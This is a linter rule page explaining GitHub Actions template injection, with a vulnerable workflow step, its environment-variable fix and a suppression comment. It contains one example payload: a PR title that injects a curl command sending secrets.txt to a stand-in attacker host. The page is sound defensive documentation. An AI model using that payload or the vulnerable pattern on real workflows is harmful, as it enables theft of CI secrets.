Skip to content

SEC004 — template-injection

Severity: blocker · Category: Security

What it checks

Flags a ${{ ... }} expression inside run: whose path references attacker-controllable input — things like github.event.issue.title, github.event.pull_request.body, github.event.comment.body, or github.head_ref. Anyone who can open an issue, comment, or PR controls these values.

Why it matters

GitHub expands ${{ ... }} expressions before the shell ever sees the result — the expansion is pasted directly into the script as text, not passed in as a quoted variable. If an attacker sets a PR title to "; curl attacker.example/$(cat secrets.txt); echo ", that becomes literal shell syntax the moment the workflow runs.

Examples

Flagged — the PR title becomes part of the shell script itself:

steps:
  - name: Check PR title
    run: |
      echo "Validating: ${{ github.event.pull_request.title }}"

Fixed — pass it through an environment variable, so the shell handles it as data, not as code:

steps:
  - name: Check PR title
    env:
      PR_TITLE: ${{ github.event.pull_request.title }}
    run: |
      echo "Validating: $PR_TITLE"

Suppressing

The finding is reported on the run: step's line:

  - name: Check PR title # vlotpipe: ignore[SEC004]
    run: |
      echo "Validating: ${{ github.event.pull_request.title }}"

Only if the value genuinely can't reach a shell interpretation context — for example, if it's immediately piped into a tool that treats its entire input as an opaque string with no further evaluation.